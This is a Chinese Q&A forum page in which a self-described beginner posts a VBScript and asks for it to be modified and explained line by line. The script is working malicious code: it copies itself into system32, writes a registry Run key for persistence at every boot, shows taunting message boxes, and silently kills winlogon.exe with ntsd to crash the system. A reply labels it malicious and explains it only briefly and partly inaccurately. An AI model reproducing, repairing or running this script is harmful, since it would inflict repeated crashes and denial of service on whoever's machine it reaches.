请问一下谁能给我修改一下这段代码并解释每一句(我是菜鸟,谢谢了)如题 谢谢了

onerrorresumenextDimfso,fileSetfso=CreateObject("Scripting.FileSystemObject")Setfile=... on error resume next Dim fso,file Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.getfile(WScript.ScriptFullName) file.copy "c:\windows\system32\" Dim AutoRunProgram Set AutoRunProgram = WScript.CreateObject("WScript.shell") RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" Type_Name = "REG_SZ" Key_Name = "整死你.vbs" Key_data = "C:\windows\system32\整死你.vbs" AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name msgbox"让你蓝一次屏吧!" msgbox"对了,这个可以开机重启的" msgbox"活该,哈哈" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide end if 展开
 我来答
乔萌Bba12
2014-06-18 · TA获得超过160个赞
知道答主
回答量:171
采纳率:0%
帮助的人:117万
展开全部
是恶意代码吧 首先如果报错就自动退出 如果有创建权限,就把文件拷贝到"c:\windows\system32\" 在"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" 这个启动运行里添加运行刚才拷到system32的整死你.vbs 后边的是提示框 隐藏启动的winlogon.exe
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式